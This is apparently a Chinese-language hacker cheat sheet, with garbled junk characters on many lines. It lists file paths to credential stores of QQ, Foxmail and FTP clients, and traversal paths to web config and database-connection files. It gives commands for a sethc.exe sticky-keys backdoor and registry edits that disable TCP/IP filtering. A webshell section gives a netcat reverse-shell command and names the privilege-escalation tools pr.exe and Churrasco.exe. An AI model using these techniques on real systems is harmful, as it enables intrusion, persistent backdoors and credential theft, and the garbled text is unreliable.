C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
, E3 J. T. ^* fc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
/ j# t" q. ^% H- Y% i/ Kc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
% L3 X3 X) _" O0 k/usr/share/tomcat6/bin/startup.sh
% U) l3 n/ b+ [/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
1 D+ r& y* |2 jc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
; u. j6 i3 j+ L& V6 W) Y$ `c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
% j- e. ?5 m) C4 e: y9 y* m: jc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
  |5 B6 P7 w1 g9 D# iC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
8 v8 N7 j. c2 ~7 b9 N( E) a% Ic:\Program Files\Tencent\Tm\Bin\Txplatform.exe
. ^2 ?% S3 G# e6 m5 Xc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
$ ~% }; Q% N- j# pC:\Program Files\Foxmal\accounts.cfg
; Z* K1 w$ S3 g1 OC:\Program Files\tencent\Foxmal\Foxmail.exe
* m% H( h6 d3 j/ R$ WC:\Program Files\tencent\Foxmal\accounts.cfg
' m/ y3 M) y* L: C+ ^' S9 iC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
& l( W5 R2 E8 Q& M! O9 Jc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
: c7 G2 S9 a1 E  u7 xc:\Program Files\Oracle\bin\regsvr32.exe
" q$ W$ i/ j# W! X5 Oc:\Program Files\腾讯游戏\QQGAME\readme.txt
  E2 f$ p) @( ^6 V+ Kc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
$ f* ~9 t# W# ]$ j( OC:\Program Files\StormII\Storm.exe
4 ]& M+ I. s( ]( _' Z) N
/ r6 h2 Y- S( O* S$ a; S6 c3.网站相对路径:
! x" M  @2 x1 Y8 b% t
/config.php
../../config.php
2 F. ^7 K# o; k1 k0 q  r../config.php
6 _: M% {  {) {) x' w$ e; z' C../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
" O( Z1 R+ f9 Y2 P& S+ G/conn.php
8 A$ l& ~$ ?3 |  l+ Z./conn.php
../../conn.php
../conn.php
0 F$ K. V* J6 s, `../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/ c- l( {" m  i$ |' r" Y/ A' O4 r/config.inc.php
" T( d& ]5 [5 n* @./config.inc.php
../../config.inc.php
../config.inc.php
/ x7 x9 B; G- D0 \7 U../../../config.inc.php
/config/config.php
../../config/config.php
% A7 _& m" t6 \0 _../config/config.php
# N# B. Z5 w9 `" F  G../../../config/config.php
/config/config.inc.php
./config/config.inc.php
% o. r6 h6 j% p+ Y, _6 v../../config/config.inc.php
../config/config.inc.php
' s, j; K5 m" J& X" i8 U$ X  j../../../config/config.inc.php
/ u* M" i! G% Q3 C8 \0 x, W, k* t/config/conn.php
./config/conn.php
; u0 Y" f% Y5 n! R: x% G../../config/conn.php
../config/conn.php
../../../config/conn.php
$ n. v+ d. E" r  a1 \" s" Y+ Y/config/conn.asp
; q/ f/ f: q, z% Z5 O1 v./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
' p5 U/ o" f0 D# E2 ?: [./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
+ U/ f* {% ?; w! `; L0 m' I../../../config/config.inc.php
! X; b- U; j) s) N/data/config.php
& H, Z; ?6 h6 j' }../../data/config.php
../data/config.php
8 q  b( B/ f# y8 R* Q; j& K4 l../../../data/config.php
/data/config.inc.php
' ~  ]3 H3 \- C./data/config.inc.php
../../data/config.inc.php
7 S. i# p4 @: Z3 ?../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
& a9 _5 ~, k* _1 V0 ]+ C0 g./data/conn.php
../../data/conn.php
../data/conn.php
& v. A5 N9 M; c( Z. M- ?../../../data/conn.php
  |! d- u; ^/ b. U/ N" X2 M7 d/data/conn.asp
./data/conn.asp
../../data/conn.asp
3 T9 E& v( N' x# A& ?$ r" O" I5 W, }( @../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
8 A( ]& [8 W' w0 P./data/config.inc.php
8 S4 _/ l) @& ~  N9 s5 O, ]& W2 F3 E../../data/config.inc.php
../data/config.inc.php
" g/ ?7 Y# O' L2 T1 p../../../data/config.inc.php
/include/config.php
* K7 q# d' W2 |: \../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
0 B4 q. c: x4 r' \./include/config.inc.php
3 ~7 j7 ^* u+ k../../include/config.inc.php
  k, D8 N& V/ U) {! Z../include/config.inc.php
( M3 l! D$ a! \" q7 u/ Z1 q../../../include/config.inc.php
9 O5 U% P0 o+ l$ D1 }5 `/include/conn.php
./include/conn.php
../../include/conn.php
" F2 T5 [9 g' S/ R/ W4 i+ a% @../include/conn.php
7 L3 X: K* ]1 b& p. {../../../include/conn.php
1 i$ A. C2 a$ d& A) T5 C0 E/include/conn.asp
./include/conn.asp
../../include/conn.asp
3 z) F6 m7 u0 m8 a$ L../include/conn.asp
../../../include/conn.asp
) F: k' w5 o# u7 U0 y, o! t/include/config.inc.php
) e+ ?/ |6 A5 E) Y8 t! Q7 i6 _./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
" f% h9 m$ a# n. z../../inc/config.php
" b$ u6 @  f* L; b8 y../inc/config.php
5 R5 y) ]* c) Y: l  `% j../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
5 B/ g$ t3 ^9 \6 k& r- g' U../../inc/config.inc.php
+ t& b# l# ~7 b9 ?../inc/config.inc.php
../../../inc/config.inc.php
4 P- A5 Z$ m- C/ O" I, z2 J( l9 L/inc/conn.php
./inc/conn.php
../../inc/conn.php
6 C. P3 W5 ~, Y, f; O4 J../inc/conn.php
! i$ d+ Y+ S0 U../../../inc/conn.php
! P3 Y) ^' V" T8 s1 J/ [4 y/inc/conn.asp
5 b% o7 N9 ]6 B: Q/ ?( F/ w. n./inc/conn.asp
../../inc/conn.asp
7 M& ]8 j: i5 m0 J- N2 h' a../inc/conn.asp
- t+ f  Y( t0 D../../../inc/conn.asp
$ F/ d' o! e/ M7 w! E; Y/inc/config.inc.php
4 Q/ \$ F6 t% a" [5 M./inc/config.inc.php
9 V% K# {( ]- S0 _4 u0 b../../inc/config.inc.php
../inc/config.inc.php
6 H7 r0 Q, c7 ^7 H../../../inc/config.inc.php
/index.php
1 e4 a# }! W0 B/ h2 f./index.php
0 D3 @* }$ L, s! Q* D8 i../../index.php
../index.php
' v  J' P5 s1 m../../../index.php
/index.asp
./index.asp
/ K7 t. q' ?* a8 d5 b3 K. K../../index.asp
../index.asp
../../../index.asp
" j/ @# Y4 e* h替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

8 B& m/ J7 s$ Z  ^8 F2 i　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
! j# V6 J1 U* Z0 W
　　del c:\windows\system32\sethc.exe
7 K. G5 Q# L  |, j7 Y* \
/ P, x* H) Z, v6 v: \　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
4 s' V. ~1 U! u' Q9 Z4 h6 q0 f( N
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
" V1 O+ t% P5 z8 k, [; K/ Z/ c
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
6 c" a$ e' ]6 D$ b) A去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
# {9 d/ r$ k7 V9 ]# y5 Z' j; c6 THKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

" g8 l+ W5 r5 C9 D1 g# P分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
# m* C3 M( P+ x6 J( B# C1 aregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; z/ R1 S1 B- d: ^* ]! _regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; O% I3 c' o2 h( K. T* o) j4 H命令来导出注册表项
( u( ~- u- o( j# h5 H2 G
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
# X' r: F( F7 I  @: M- E! b) E
) E6 n4 g( f# W再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
( S' `1 @/ m% y7 A" e: g导入注册表即可

webshell提权小技巧
4 {. @' \2 m3 `; Zcmd路径:
3 G, M5 e/ f0 K' X( E9 m3 u& Bc:\windows\temp\cmd.exe
& {8 T  I3 P$ E/ e1 u. d" f% gnc也在同目录下
* Q+ x+ ?" |% w( ?& j" p6 h例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

( {1 g* d- X6 t  l# p而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
! f1 \5 o4 O& n) y, B命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
( d( Z" ^# _6 ~  [% |* M5 D/ c却能成功。。
这个不是重点
4 E9 j' S* b1 z4 I7 {我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功